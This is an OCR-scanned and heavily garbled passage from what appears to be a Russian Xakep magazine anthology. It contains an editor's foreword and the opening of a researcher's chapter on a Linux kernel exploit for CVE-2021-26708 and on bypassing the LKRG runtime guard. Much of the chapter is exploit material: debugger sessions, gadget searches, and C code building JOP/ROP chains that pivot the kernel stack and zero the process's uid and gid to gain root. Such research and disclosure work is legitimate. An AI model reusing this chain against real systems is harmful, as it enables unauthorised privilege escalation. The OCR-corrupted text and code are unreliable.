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NpeancnoBue

Kasanoce 6bl, kKaxablii KOMIBIOTED C BUHOOW Ha OOpTY BHIMIAOHUT M paboTaeT mikoc-
MHHYC OJJMHaKOBO. EciiH e Ha paboueil cTaHUMH KPYTHTCS KaKOH-HHOY b AUCTPpHOYTHB
Linux, To 601BIIHHCTBO 103€pOB BOOOIIE HUYETO HE MEHSIOT Jajblie 000€B, YTOOBI CITy-
YaifHO 4ero-HuOyap He ciioMaTh. Ho MBI, Xakephl, HE IS TOTO 34eCh COOpaNHCh, YTOOBI
BKJIIOYATh-BBIKJIIOYATh 3aCTaBKH M CTaBHTh OOBIKHOBEHHBIH COQT, KOTOPHIH MOXHO
BCTPETHUTH TIOYTH HAa KaXXIOM MEPBOM KoMIbloTepe. JlaBail BHDKMEM M3 MalIMHBI BCE
BO3MOXHOE H KACTOMH3HPYEM CHCTEMY TaK, Kak HUKTO APYrod He oTBaxuBaercs! A ko-
rIa BEDKUMATh CTAHET YXKe Heyero — cobepeM CBOIO JKeJIe3Ky M MoiaeM 3KCIIepUMEHTH-
pOBATh YK€ C HEH.

OTa KHHra — pe3yJbTaT YHHKAJIBHOrO TpyJa JYYLIMX aBTOPOB XXypHana «Xakep», KOTo-
pble He CTaJli JOBOJILCTBOBATHCSA TEM, YTO €CTh Y BCEX, a MOLUIH MPOKAaYHuBaTh CBOM pa-
Ooune MalMHBI 111 MAKCHMAIBHOTO yA00cTBa M MpoAyKTHBHOCTH. KpoMe cyry6o npak-
THYECKUX paboT, TYT €CTh M pa3BieKaTeNbHbIe, YTOObI pa3HOOOpa3UTh Beuep, B KOTOPbIH
Thl NIPOYHUTAEILL COOTBETCTBYIOILYIO IJ1aBy. DTO CAETAHO HE MPOCTO AJS pa3BJICUEHHS:
He 3a0bIBal, YTO HE BCE YUTATEIH — KPYThIE CIIELHATHCTHI Bpoae Te0s.

TeM He MeHee, coOpaHHbIE B 3TOH KHHIe CTaTbU HamHcaHbl NpodeCcCHOHANAMHU I NPO-
¢deccronanos. Bece oHH ObuTH M3HaYaNbHO OMYyOIHKOBaHbI B XKypHaine «Xakep», MoCBs-
ILIIEHHOM B3JI0MY, 3alIMTE, IPOrpaMMHUPOBaHHIO M nepenoBbiM HanpaBneHusMm B IT. Ecnu
Xo4elb Bceraa ObITh Ha OCTpHE TEXHOJIOTHYECKOTO IpOorpecca M y3HaBaTh JIydllee M3
JOCTYITHOTO Ha PYCCKOM s3blke, — JI00pO MoxanoBaTh Ha Xakep.ru, rae caMble HHTe-
pecHble MaTepHanbl MyOIHKYIOTCS 3a0JIT0 10 BbIXoJa Ha Oymare.

B TekcTe BCTpeyaroTcs crielnanabHble BPE3KH, B KOTOPHIX pa3sMelleHbl CChUIKH Ha TeMa-
THYECKHE pPECYpChl, MaTepHaibl Ui JOMOJHHUTENBHOIO M3yYEHHS M 3aMETKH K TEKCTY
riaaB. OTO KHHra HeoObIYHA U CBOEH CTHIHCTHKOH. B «Xakepe» NpHHAT HeopMabHBIH
CTHJIb OOLIEHHs, K YHTATENMO 31eCh 00pallaroTcs Ha «ThI», U HCIIONIB3YIOT CIIEHT, BPOIE
«TYJ13a» BMECTO «yTHJIUTa» HIIK «bar» BMecTo «ounbka». Y, koHeUHO, KHHra 3Ta BeCbMa
crnieuuuyHast, a H3TOXKEHHBIE 31€Ch 3HAaHHUS MOTYT CTaTh ONMACHBIMH, €CITH IPUMEHATH HX
HEMpaBUJILHO, TO3TOMY X04Y Cpa3y NpeaynpeauTh:

BHUMAHMUE!

Bcsa npuBeaeHHasn B 3TOW KHWUre WHgopMauus, koa U npumepbl NyGnukyloTCa UCKMIOYNTENb-
HO B O3HaKomuTenbHbIX Lensx! Hu naaatenscteo «BXB», HU peaakums xypHana «Xakep»,
HW aBTOPbl HE HECYT HWKaKOW OTBETCTBEHHOCTW 3a Mobble NocneacTsus UCNONb3OBAHWSA
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VHOPMaLIMK, U3NOXKEHHOW B 3TOW KHWUre, a Takke 3a Nobon BO3MOXHbIA Bped, NPUYUHEH-
HbIA C UCMONBb30BaHWEM MaTEPUANOB, U3NOXEHHbIX B 3TOW KHUre,

MOMHW, YTO HECAHKLMOHWPOBAHHLIA AOCTYN K KOMNLIOTEPHLIM CUCTEMAM W pacnpocTpaHe-
Hue BpegoHocHoro MO npecneayoTca No 3akoHy. Bce AencTevs Tbl NPOM3BOAWWbL Ha CBOW
CTpax 1 pUCK, N Hecelwb OTBETCTBEHHOCTb 3@ HWUX TaKKe CaMOCTOATENLHO.

KHura opueHTHpOBaHa Ha 'MKOB, KOTOpBIE He O0STCS KOBBIDSHUH B TepMHHAJIE U HETpa-
JULIMOHHBIX M3BpAIUEHUH C CHCTEMOH, U MOXKeT OBITh TPyIHOH A7 HOBHYKOB. Hazgerocs,
Thl HalAeLb 3TOT COOPHUK MHTEPECHBIM H, IPOYHTAB €ro, CTaHellb elle Oojiee BOCTpe-
OOBaHHBIM CIEIMATUCTOM. A, BO3MOXKHO, U PEeLUIHLIbL OMyOJIHKOBaTE COOCTBEHHOE HCCIle-
JIOBaHHE B «Xakepey!

Mapx Bpyykuii-Cmemnkosckui,
pedakmop xcypuana «Xaxepy
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NpoBepka Ha NPOYHOCTD.
Kak 1 uccnegosan sawuty LKRG
C NOMOLbIO YA3BUMOCTHU B sape Linux

AnekcaHdp lMonoes

B suBape 2021 rona s Hawen ¥ yCTpaHUI NATh yA3BUMocTeH B sape Linux, koTopsle no-
ayuunu obmui uaeHtuduxkarop CVE-2021-26708 (https:/nvd.nist.gov/vuln/detail/
CVE-2021-26708). B 3To0ii riiaBe s pacckaxy, kKak s gopaboTtan CBOH NMPOTOTHI 3KC-
IUIOMTA U C €ro MOMOUIBI0 HccieaoBan cpeactBo 3amuTel Linux Kemel Runtime Guard
(https://github.com/openwall/lkrg) (LKRG) ¢ no3uuuu atakyouiero. Msl IoroBopiM o
TOM, KaK MHE yAanoch HaHTH HOBBIH MeTon o6xoxa 3ammTel LKRG M kak s BBINONHHI
OTBETCTBEHHOE pasrilallieHHe Pe3yIbTaTOB CBOETO HCCIIEA0BAHHS.

3a4yem A npoaoimxumn nccnegosaHue

B onno#t u3 cBoux crareit (https://xakep.ru/2021/10/19/linux-core-cve/) s onucan mnpo-
TOTHI JKCIUIOMTA AJIA JIOKAJIbHOTO NMOBBIIEHHS npuBHieruit Ha Fedora 33 Server mns
miatdpopMel x86 64. S pacckasan, kak COCTOSHHE TOHKH B p€alM3alldd BUPTYaJbHBIX
COKeTOB spa Linux MOXXEeT NpHBECTH K MOBPEXAEHHIO YeThIpex 0aiToB saepHON nams-
TH. 5] moka3aj, kaK aTaKyOIIHH MOXKET Iar 3a aroM NpeBpaTUTh 3Ty OIIHOKY B MPOHU3-
BOJIBHOE YTEHHE-3alHCh aMATH sAApa U MOBBICUTH CBOM NpHBHIETHH B cucteme. Ho He-
KOTOpbI€ OrpaHHYEHHs ITOTO crocoba NOBBICUTh IPUBHIIETHH MEIIAH MHE 3KCIIEPUMEH-
THpoBaTh B cucteMe nop 3amuTod LKRG. S pemmn nmpoXoymkuTh HCCIENOBaHHE U
BBISICHUTB, MOXHO JIH X YCTPAHHUTb.

Mo#i IpoTOTHI 3KCIIJIONTA BBIMOJHSAT IPOU3BOJIBHYIO 3alMCh C TIOMOLIBIO MEpeXBarTa no-
TOKAa YNpaBJIEHHS MPH BHI30BE NECTPYKTOpAa destructor arg B aTaKOBaHHOM SAEPHOM
obnekre sk _buff (puc. 1.1).

OTOT IECTPYKTOP UMEET CIEAYIOIIMH IPOTOTHII:

void (*callback) (struct ubuf info *, bool zerocopy_ success) ;

Koraa sapo Bei3biBaeT ero B QyHKUMH skb_zcopy clear () (https://elixir.bootlin.com/
linux/v5.10/source/include/linux/skbuff.h#1.1470), peructp RDI COOEPKUT NEPBBIA ap-
rYMEHT QYHKUHH. DTO agpec caMoOH CTPYKTYpPHI ubuf info. A PerHCTp RSI XpaHHT elH-
HHILY B Ka4eCTBE BTOPOro apryMeHTa QyHKLHH.
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xattr payload for overwriting sk_buff
Jbuf_info %
| MY_UINFO_OFFSET = 256

SKB_SHINFO_OFFSET = 3776

kb shared info

Puc. 1.1. Ctpyktypa obnvekta

ConepkHMoe ITOH CTPYKTYPBI ubuf info KOHTPOJIHpYETCS IKCIIOUTOM. OQHAKO MepBbie
BOCEeMb OAHTOB B HEll TOJDKHBI OBITE 3aHSATH anpecoM GYHKLHH-OECTPYKTOPa, KaK BUIHO
Ha cxeMe. B 9TOM H ecTb oCHOBHOe orpaHudeHue. V3-3a Hero ROP-ramker nnst nepe-
KJIIOYEHHS SIEpHOTrO CTEKa Ha KOHTPOIHpyeMylo obnacTe mamstu (stack pivoting) moin-
’KEH BBITISAAETh NPUMEPHO TaK:

mov rsp, gword ptr [rdi + 8] ; ret

K coxanenntro, Huyero moxoxero B siape Fedora vmlinuz-5.10.11-200.fc33.x86 64
oOHapyxuTh He ygmamock. Ho 3aro ¢ nomomsio ROPgadget (https:/github.com/
JonathanSalwan/ROPgadget) s Hauien Takod ramker, KOTOPbIH YHOBIETBOPSET 3TUM
OrpaHHYEHUSIM U BBIMOJIHAET 3aMHUCh SIEPHOI namsaTu BooOule 6e3 nepekoyeHus saep-
HOTO CTeka:

mov rdx, gword ptr [rdi + 8] ; mov gword ptr [rdx + rcx*8], rsi ; ret

Kak cka3aHo Bblll€e, RDI + 8 — 3TO aApec SACPHOM MaMsITH, COAEPKUMOE KOTOPOH KOH-
TPOJIMPYET aTakyroUui. B perucTpe RSI COOEPXKUTCS €AUHMLA, a8 B RCX — HOJb. TO €cTh
ITOT TaJKET 3aIMHUCBHIBAET CEMb HYJIEBbIX 0alHTOB M OAMH OalT ¢ emuHMLEH MO ampecy,
KOTOpBIH 3amaeT atakyroui. Kak BbIMONHUTH MNOBBILIEHHE MPUBUIIETHH Mpouecca ¢ Mo-
Moupio 2Toro ROP-ramkera? Mo#t npoTOTHI 3KCIUIOUTA 3aMKUCHIBAET HOJIb B MOJSA uid,
gid, effective uid M effective gid CTPYKTYPHI cred.

MHe ypanock npuayMath XOTh M CTPaHHbIH, HO BHOJHE pabo4Mil IKCIIOUT-MPUMHTHB.
ITp# 3TOM 5 He ObUT MOJHOCTBIO YIOBJIETBOPEH 3THM PEIIEHHEM, IOTOMY YTO OHO HeE Ja-
BaJIO BO3MOXXHOCTH nosnHoueHHoro ROP. KpoMe Toro, nmpuxoaniocs BBINONHATH Mepe-
XBaT MOTOKa YIpaBJIeHHs ABaXIbl, 4TOOBI mepe3anmucaTh BCe HEOOXOAMMbIE MO B
struct cred. JTO JA€NaNo MPOTOTHI 3KCIUIOWTa MeHee HaaexHbIM. [ToaTomy s pemrnn
HEMHOTO OTIOXHYTh M TPOIODKHTh HCCIIEIOBaHHE.
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PeI'VICprI noAa KOHTpPOMeM atTakytouwiero

[lepBBIM A€JIOM s pELLMWJI elle pa3 MOCMOTPETh HAa COCTOSIHUE PErucTpoOB IMpouleccopa B
MOMEHT [MepexBaTa MOTOKAa ympaBiieHWs. S| mocTtaBui TO4Ky ocTaHoBa B (DyHKLHH
skb_zcopy clear () (https://elixir.bootlin.com/linux/v5.10/source/include/linux/skbuff.

h#L1470), koTopas BbI3bIBaeT 00pabOTUHK callback U3 destructor are:

$ gdb vmlinux

gdb-peda$ target remote :1234

gdb-peda$ break ./include/linux/skbuff.h:1481

BoT 4TO OTNIaAYMK MOKA3bIBAET MPSMO MEpe] NEPEeXBaTOM MOTOKA ynpaieHus (puc. 1.2).

gdb-| peda$
il -2 - - ot
RAX: oxffffffffa1v6sa4i ~-> 0x48ba865ff98e189

RBX: Ox0 callback fptr
RCX: 0x0

oox: oxg  WbUf_info ptr
RSI: Ox1
RDI: oxffffass1099¢9100 -4 OKfffff!ff&lTuB!4l --> 0x48b4865ff38e189
REP: oxffffasgiogsadeco]
RSP: axffffconoea723d26
RIP: exffffffffsleq251s
R8 : oxffff388109909107
R9 : oxffffc90000723e34

768843 --> 0x48b4865ff98e139

v

(o]
x

'
Y
Py
-+
@
-
N
@®

[+
g

oxfIFfffffa176343 --> Ox48b4865ff98e189
oxffffffffonoenogs

Rie: ex2c (',') on kstack

R11: oxafe

R12: oxffffe88109cdd440g —-> 0x0 wow!

R13: exafe ? it's skb_shinfo(skb) ptr!
Ri4: exffffesaloocda4e8 —-> 0x0

R15: oxafo

EFLAGS: 0x283 (CARRY par1ty adiust zero SIGN trap INTVERRUPT ¢ i ¢ tlox)

[ e e e e o COde—--—mm e e e e -
oxffffffffgleo250¢c <__x86_retpoline_rax+7>: 1fence
oxffffffffglen2s50f <__x86_retpoline_rax+10>: jmp oxfIffrfifaien250a <__x86_retpoline i ax-5>
oxffffffff8le02511 <__x86_retpoline_rax+12>: mov QWORD PTR [rspl,rax
=> oxffffffffg8le02515 <__x86_retpoline_rax+16>: ret
oxffffffffgslee2516: nop WORD PTR cs:{rax+raxx1+0x0}
oxffffffffgle02520 <__x86_indirect_thunk_rbx>:

jmp oxffffffffslee2525 <__x86_retpoline_rbx>

oxffffffffelee2522 <__x86_indirect_thunk_rbx+2>: nop DWORD PTR [rax*
oxffffffffale02525 <__x86_retpoline_rbx>: call axfiffffffglae2sy) «
B e it T ot A i e +3 —

Puc. 1.2, CkpuHWOT 13 oTNaag4vka

Kakue saepHble agpeca XpaHsATCS B peructpax mnpoueccopa? RDI M R8 COAEpXaT aapec
ubuf_info. Pa3piMeHOBaHME 3TOro ykasarens JaeT ykasaTelb Ha yHKUMIO callback, KO-
TOpBIH 3arpy’eH B perucTp RAX. B peructpe RS comepk UTCS HEKOTOPbIH yKa3aTesib Ha
NaMmsATh B ePHOM cTeke (ero 3HauyeHde O1M3KO K 3HaYeHHIo RSP). B peructpax r12 M R14
HaXOJATCS KakKHe-TO ajapeca MaMsATH B SAEpHOH Kyde, U MHE He yJaloch BBICHHTDH, Ha
Kak1e 00beKThl OHH CCBLIAIOTCS.

A BOT perucTp RBP, KaK 0Ka3aj0Ch, COOEPXKHT aJpec skb shared info. ITO agpec MOEro
00BbeKTa sk buff IUIIOC OTCTYN SKB SHINFO OFFSET, KOTOpPbIH paBeH 3776 WIM Oxecl
(6onbiie neraneit B moei cratbe (https://xakep.ru/2021/10/19/linux-core-cve/)). 10T
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ajJipec ajq MHE HaJlexay Ha ycIiex, IOTOMY YTO OH YKa3bIBaeT Ha MaMATh, COAEPKUMOE
KOTOpOH HAaXOAMTCA MOJ KOHTpoJieM 3kcrutouta. 51 Hayan uckatb ROP/JOP-ramkersl,
HCIOJIB3YIOILHUE RBP.

Ucuesarwwme JOP-rapxeTbl

S cran npocMaTpUBaTh BCE OOCTYIHbIE I'aJDKEThl C Y4aCTHEM RBP M HallieJ] MHOXECTBO
JOP-ramxeToB, MOX0XHX Ha 3TOT:

Oxffffffff81711d33 : xchg eax, esp ; jmp gword ptr [rbp + 0x48]

Anpec RBP + 0x48 TaK)K€ YKa3bIBa€T Ha SAEPHYIO MaMATh MOJ KOHTPOJIEM aTaKyHOILIETo.
Sl noHsn, 4TO MOry BBIMOJHHUTH stack pivoting ¢ nomolusio ueno4yku takux JOP-
raJ’KeToB, [10CJI€ YETO BBIMOJHUTE MoJHOLEHHY0 ROP-uenouky. OTnnyHo!

Jlnst GBICTPOro 3KCIEpUMEHTA S B35J1 3TOT I'a[KET:

xchg eax, esp ; jmp gword ptr [rbp + 0x48]

OH nepekiroyaeT SAEpHBINA CTEK Ha MaMATh B M0JIL30BATENILCKOM NpocTpaHcTBe. CHavana
s YAOCTOBEPHJICA, YTO raKET AEHCTBUTEIBLHO HAXOAUTCA B KOJE AApa:

$ gdb vmlinux

gdb-peda$ disassemble Oxffffffff81711d33

Dump of assembler code for function acpi_idle lpi_enter:
Oxfffff£f£f£81711d30 <+0>: call  Oxffffffff810611c0 <_ fentry >
Oxfffff£f££81711d35 <+5>: mov rcx, QWORD PTR gs: [rip+0x7e915f4b]
OxfEfffff££81711d3d <+13>: test  rcx,rcx
OxfEff£ff££81711d40 <+16>: Jje Oxffffffff81711d5e <acpi_idle lpi enter+46>

gdb-peda$ x/2i Oxffffffff81711d33

Oxffffffff81711d33 <acpi_idle_lpi_enter+3>: xchg  esp,eax
Oxffffffff81711d34 <acpi_idle_lpi_enter+4>: jmp QWORD PTR [rbp+0x48]
Tak u ectb. Kon ¢yHkuMM acpi_idle lpi enter() HayMHaeTcs C ajapeca

OxfEEEEEFFB1711d30, M raKET OTOOpaxkaeTcs, €CI CMOTPETh Ha KO 3TOH (PyHKLHMH C
TpexOaHTOBBIM OTCTYIIOM.

OnHako, koraa s nonpo6oBaj BBIMOJHUTL 3TOT IaKET MPH MEpeXBaTe MOTOKA yIpasie-
HHS, AP0 HEOXKMIAHHO BbIAJ0 OTKa3 cTpaHHuubl (page fault). S cran ormnaxusarh 3Ty
ownbky M 3aoaHO crpocun Moero apyra AHzapes Koxosanosa (https://twitter.com/
andreyknvl), uzsectHoro uccienoBarens 6e3onacHocTd Linux, He CTaaKHBAICS JIH OH C
TakuM 3¢ dexToM. AHapei oOpaTua BHMMaHKe, 4YTO GaHThl KOJa, KOTOPhbIE pacreyarano
AP0, OTJMYATKCH OT BbIBOJA YTUINTBI objdump 1711 ucronHsemoro daina sapa (puc. 1.3).

39710 OBl MEpBBIH Cllyyai B MOEH MpakTHKE ¢ aApoM Linux, koraa aamm kozaa B SAEPHOM
)KYpHaAJI€ OKa3aJiCsd IOJIE3CH. s NMOAKJIIKOYHJIICA OTJIAAYHKOM K pa60Talou1eMy AApY H 00-
HapY>KHII, YTO KOJ PYHKLMHU acpi_idle lpi enter () AEHCTBUTENBHO U3MEHHIICS:

$ gdb vmlinux

gdb-peda$ target remote :1234
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gdb-peda$ disassemble Oxffffffff81711d33
Dump of assembler code for functiqn acpi_idle_lpi_ enter:

Oxffffff£f£81711d30 <+0>: nop DWORD PTR [rax+rax*1+0x0]
OxXxffffff££81711d35 <+5>: mov rcx,QWORD PTR gs: [rip+0x7e915f4b]
Oxffffff£f£f81711d3d <+13>: test LEXy; FEX

Oxfffffff£81711d40 <+16>: je Oxffffffff81711d5e

<acpi_idle_1lpi_enter+46>

gdb-peda$ x/2i Oxffffffff81711d33
Oxffffffff81711d33 <acpi_idle lpi_enter+3>: add BYTE PTR [rax],al

Oxffffffff81711d35 <acpi_idle_lpi_enter+5>: mov rcx, QWORD PTR
gs:[rip+0x7e915£f4b]

Puc. 1.3. Otnuyatowmica kog

Ha camom gene sapo Linux moxet MoauduuupoBaTh COOCTBEHHBI KOA B MOMEHT HC-
IOJJHEHHs. B 3TOM KOHKpETHOM ciy4ae koA QyHKUMH acpi_idle lpi enter () ObIT H3-
MeHeH MexaHu3MoM CONFIG DYNAMIC FTRACE (https://elixir.bootlin.com/linux/
v5.10/source/Documentation/trace/ftrace.rst). OH Tak)e UCIIOPTHI MHOXECTBO JAPYTHX
JOP-ramxetoB, Ha KOTOpble 1 paccuuTbiBaj! UToObl HE CTOJKHYTbCS C 3THM CHOBA, 5
peln nonpobosaTtbh HCKaTh HyxHble ROP/JOP-ramkeTsl B maMATH sapa KUBOH BHPTY-
aJbHOM MAallHHBI.

CHauana 51 onpo6oBan KOMaHAy ropsearch U3 HHCTpyMeHTa gdb-peda, HO y Hee oka3a-
Jlach CIIMILIKOM OrpaHH4eHHas (yHKIMOHAIBHOCTb. Toraa s 3auien ¢ Apyroi CTOPOHbl U
caeial CHUMOK Bcer 00J1acTH NaMsATH C SACPHBIM KOJOM C ITIOMOIBIO KOMaHbl gdb-peda
dumpmem. B nepByro oudepenr Hy>XHO ObUIO ONMpPENENUTb PAcloIOKEHHE AIEPHOro KoJa B
MmaMATH!

[root@localhost ~]# grep "_text" /proc/kallsyms

fEFEFEFFB81000000 T _text

[root@localhost ~]# grep " _etext" /proc/kallsyms

ffffffff8le026d7 T _etext
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3ateM s cenain CHUMOK NaMATH MeXJy aapecaMu _text U _etext:
gdb-peda$ dumpmem kerndump Oxffffffff81000000 Oxffffffff81e03000
Dumped 14692352 bytes to 'kerndump'

Ilocne 3toro s npuMeHMn K modydyeHHomy ¢daitny yrunuty ROPgadget
(https://github.com/JonathanSalwan/ROPgadget). Ona Moxer wuckate ROP/JOP-
raJpkeThl B CHIPOM CHHMKE IaMSTH, €CIH 33JaTh JONOJIHMUTENbHBIE onuuM (cnacubo 3a
noackasky mMoemy apyry Makcumy [opsuemy (https:/twitter.com/h0t_max), nsBect-
HOMY HcClleoBaTen0 6e30MacHOCTH XKene3a):

# ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 >
rop_gadgets_5.10.11 kerndump

Teneps s 6611 roToB coctaBuTh JOP/ROP-1enouky.

JOP/ROP-uenouka ans stack pivoting

51 M3y4un raJpkeTsl ¢ PErMCTPOM RBP, KOTOPHIE OCTAIMCh B IMAMATH )KHBOH MAIIMHBI C
Yy4YETOM CONFIG_DYNAMIC FTRACE, M cMoOr cocTaBHUTh Takyro JOP/ROP-uenouky ans nepe-
KJIFOYEHUS SEPHOro CTeKa Ha KOHTPOJIMPYEMYEO MHOH 00611aCTh NaMSTH:

/* JOP/ROP gadget chain for stack pivoting: */

/* mov ecx, esp ; cwde ; jmp gword ptr [rbp + 0x48] */
#define STACK PIVOT 1 MOV_ECX ESP JMP (OXFFFFFFFF81768A431u +
kaslr_offset)

/* push rdi ; jmp gqword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP (OXFFFFFFFF81BS5FDOALlu +
kaslr_offset)
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/* pop rsp ; pop rbx ; ret */
#define STACK PIVOT 3 POP RSP POP_RBX RET (OxFFFFFFFF8165E33Flu +
kaslr_offset)

1. Iepssiit JOP-rampxer coxpanser mnaamue 32 6uTa peructpa RSP (yka3aTesb Ha CTEK)
B pETUCTPE ECX M 3aT€M COBEpLIAET NPbDKOK 10 aJpecy, yKa3blBaloILIEMy Ha Cleaylo-
IIKHA rajker. 310 AEHCTBUE BaXKHO, MOTOMY 4YTO JKCIUIOMT B KOHLE JO/KEH Oyner
BOCCTAHOBHMTb HCXOJHOE 3HaueHHe RsP. K coxkaneHulo, B obpase sapa He HALUIOCh
AHAJIOTHYHOI'O TajXKeTa, KOTOPbIH COXpaHUa Obl 3HaYEHHE RSP MOJNHOCTHIO. TeM He
MeHee # Hallel crnoco6 060HTHCh ero nonoBHHOM. [Tpo 3TOT TpIOK pacckaxky AanbLIe.

2. Bropoi#i JOP-ramxer nomewaer B sAepHbIH CTEK agpec ubuf info U3 perucTpa RDI,
TI0CJIE YEero TakXe COBEpLIAET MPBDKOK MO aJpecy, yKa3blBalOIIEMY Ha CleAyHOLIMH
rajixer.

3. Haxkowneu, 3axmountensHblii ROP-rajpxker 3anuchiBaeT aapec CTpYKTYpbl ubuf_info B
CTEKOBBIH yKa3aTesb. 3aTeM OH BBIIOIHAET HHCTPYKLHIO pop rbx, KOTOpas 1o6aBiser
BOoceMb 0aliTOB K 3Hau€HHIO RSP. TeM caMbIM CTEKOBBIH yKa3aTeslb CABUIaeTcs C al-
peca nepBoro JOP-ragxera, KOTOpPBI XpaHUTCA B Hayane CTPYKTYpPHI ubuf_ info (Kak
6bu10 onMcaHO Bbllle). Tenepb B RSP colepHTCs aapec Hayana ROP-uenouku, uc-
MOJIHEHHE KOTOPOH HAYHETCS MOC/I€ HHCTPYKUUH ret. OTIHYHO!

xattr payload for overwriting sk_buff

ubuf infq (in rdi)
™, _I_Mv_umro_orFse‘r =256 gadget #1

:l mov ecx, esp ; cwde ; jmp qword ptr {rbp + 0x48)

SKB_SHINFO_OFFSET = 3776

gadget #3

skb_shared_info (in rbp) | Pop rsp ; pop 114 ; ret
™

rbp + 0x48
b e, gadget #2

I push rdi ; jmp qword ptr [rbp - 0x75)

Puc. 1.4. Nepesanuct o6vekTa B sape

BoT kak 3KCIJIOMT FrOTOBHUT 3Ty UCIOYKY B INaMATH AJId NIEPE3ANHUCH AACPHOIO obnekTa
sk _buff (puc. 1.4):

/* mov ecx, esp ; cwde ; jmp gword ptr [rbp + 0x48] */

uinfo p->callback = STACK_PIVOT 1 MOV_ECX ESP_JMP;

unsigned long *jmp_addr_1 = (unsigned long *) (xattr_addr + SKB_SHINFO OFFSET +
0x48) ;

/* push rdi ; jmp gword ptr {rbp - 0x75] */
*jmp_addr_1 = STACK_PIVOT 2 PUSH RDI_JMP;
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unsigned long *jmp_addr 2 = (unsigned long *) (xattr_addr + SKB_SHINFO_OFFSET -
0x75) ;

/* pop rsp ; pop rbx ; ret */
*jmp_addr_2 = STACK_PIVOT 3 POP_RSP_POP_RBX RET

ROP-ueno4yka Ans noBbIlWEeHUA NpuBUNervn

ITocne Toro kKak si CIpaBHIICS C MEPEKITIOYEHHEM SAEPHOTO CTEKa Ha KOHTPOJIHPYEMYIO
MHOH o6s1acTh namsTH, 1 6b1cTpo cobpan ROP-1enouky ams MOBBIIEHHUS IPUBHIIETHIA:

unsigned long *rop gadget = (unsigned long *) (xattr_addr + MY UINFO_OFFSET +
8);

int 1 = 0;

#define ROP_POP_RAX RET (OXFFFFFFFF81015BF4lu +
kaslr_offset)

#define ROP_MOV_QWORD_PTR RAX_0 RET (OxFFFFFFFF8112E6D7lu + kaslr offset)

/* 1. Perform privilege escalation */

rop_gadget[i++] = ROP_POP_RAX RET; /* pop rax ; ret */
rop_gadget[i++] = owner cred + CRED UID GID OFFSET;

rop_gadget[i++] = ROP_MOV_QWORD_PTR RAX 0 RET; /* mov gword ptr [rax], 0 ;
ret */

rop_gadget [i++] = ROP_POP_RAX RET; /* pop rax ; ret */

rop_gadget [i++] = owner_cred + CRED_EUID EGID OFFSET;

rop_gadget [i++] = ROP_MOV_QWORD PTR RAX_ O_RET; /* mov gword ptr [rax], O ;
ret */

Tyt noBonbHO mpocTo. SlaepHblit aapec owner cred ObLI MOMYy4Y€H 3KCIUIOMTOM C IIOMO-
b0 [POM3BOJBHOIO YTEHHUS sJEpHOH maMsATH (Bce [MOIPOOHOCTH B  CTaTbe
(https://xakep.ru/2021/10/19/linux-core-cve/)). IIpeacraBnennas wacte ROP-nenouku
UCIIONIB3YET 3TOT ajpec, 4ToObl nepe3anucaTh 3HAYEHHE uid, gid, effective uid H
effective gid HyJIEM, YTO JaeT MPUBHIIETHH CYNEPNOIb30BATENS.

Hanee ROP-nenoyka aomkHa BOCCTAHOBHTH HCXOJHOE 3HAYEHHE PETHCTpa RSP M IpO-
JOJDKUTh UCIIOJTHEHHE CHCTEMHOTO BBI30Ba KakK HU B 4eM He OwiBano. Kak y MeHs mony-
YUJIOCh 3TO caenath? Mnaamue 32 6uTa M3HAYaIbHOTO CTEKOBOTO yKasaTens ObliM co-
XPaHEHBI B perucTpe RCx. A crapuue 32 6ura MOXKHO U3BIIEYb M3 3HAUYEHHs PErucTpa R9,
TaKk KaK B HEM XpaHHUTCS HEKOTOPBIN aJpec U3 1JepHOro cTeka (3To ObLIO MOKa3aHO BHIILE
Ha BBIBOZE OTi1aA4YHKa). HemMHOro 6MToBO# apd)METHKH — U TOTOBO:

#define ROP_MOV_RAX R9 RET (OXFFFFFFFF8106BDA41u + kaslr offset)
#define ROP_POP_RDX RET (OXFFFFFFFF8105ED4D1lu +

kaslr offset)

#define ROP_AND RAX RDX RET (OXFFFFFFFF8101AD341u + kaslr offset)
#define ROP_ADD RAX RCX RET (OXFFFFFFFF8102BA351u + kaslr offset)
#define ROP_PUSH_RAX_ POP_RBX RET (OXFFFFFFFF810D64D11u + kaslr offset)
#define ROP_PUSH RBX POP_RSP RET (OXFFFFFFFF810749E91u + kaslr offset)
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/* 2. Restore RSP and continue */

rop gadget[i++] = ROP_MOV RAX R9 RET ; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX RET ; /* pop rdx ; ret */

rop_gadget [i++] = Oxffffffff000000001u;

rop_gadget [i++] = ROP_AND RAX_RDX RET ; /* and rax, rdx ; ret */
rop_gadget[i++]) = ROP_ADD RAX RCX RET ; /* add rax, rcx ; ret */

rop_gadget [i++] = ROP_PUSH RAX POP RBX RET ; /* push rax ; pop rbx ; ret */
rop_gadget [i++] = ROP_PUSH RBX POP RSP RET ; /* push rbx ; add eax, 0x415d0060 ;
pop rsp ; ret*/

3nech 3HayeHHE perucTpa RY  KONHpyeTcs B RAX. 3areM OutoBas Macka
Oxf£EE££F£00000000 COXPAHAETCA B RDX M MOOHMTOBas ONepalus AND BBINOJHAETCA I
RAX M RDX. B pe3ynbTare RAX COOEpXXHT cTapluie OHMThI HCXOJHOro CTEKOBOTO yKa3arens,
K KOTOPBIM HY>XHO MpHOaBHUTh Miaamue OUThl U3 RCX. Pe3ynbrar 3arpyxaercs B perucTp
RSP yepe3 RBX (MHE [IPUIIOCH CAENaTh TaK, IOTOMY YTO B IaMATH MAIKHBI HE HAIIOCh
raJpoKkera TuIla mov rsp, rax ; ret).

duHanbHas MHCTPYKLHS RET Bo3Bpaluaer ynpasneHde U3 ROP-uenouku. 3a cyer akky-
PaTHO BOCCTAHOBJIEHHOT'O 3HAY€HHUS RSP PO MpOAOIKaeT 00paboTKy CHCTEMHOrO BBI-
30Ba recv (), OJJHAKO IKCIUIOUT YK€ BBIMIOJIHAETCS C IPUBUIIETHAMH MOJb30BaTENS root.

Mposeputb LKRG Ha Nnpo4HOCTL

Linux Kemel Runtime Guard (https://github.com/openwall/lkrg) (LKRG) — 310 0o4yeHb
HHTEepeCHBIN NMpoekT. OH NpenoCcTaBiseT AaepHbIi MOy b, KOTOPBIX B IpoLiecce paboThl
CHCTEMBI IIPOBEPSET LENOCTHOCTh fAApa M NPOTHBOAEHCTBYET 3KCIUIyaTallWH YsA3BH-
Mocreit B HeM. LKRG BwisBnser saepHblie 3kcrmiouTsl (https://www.openwall.com/
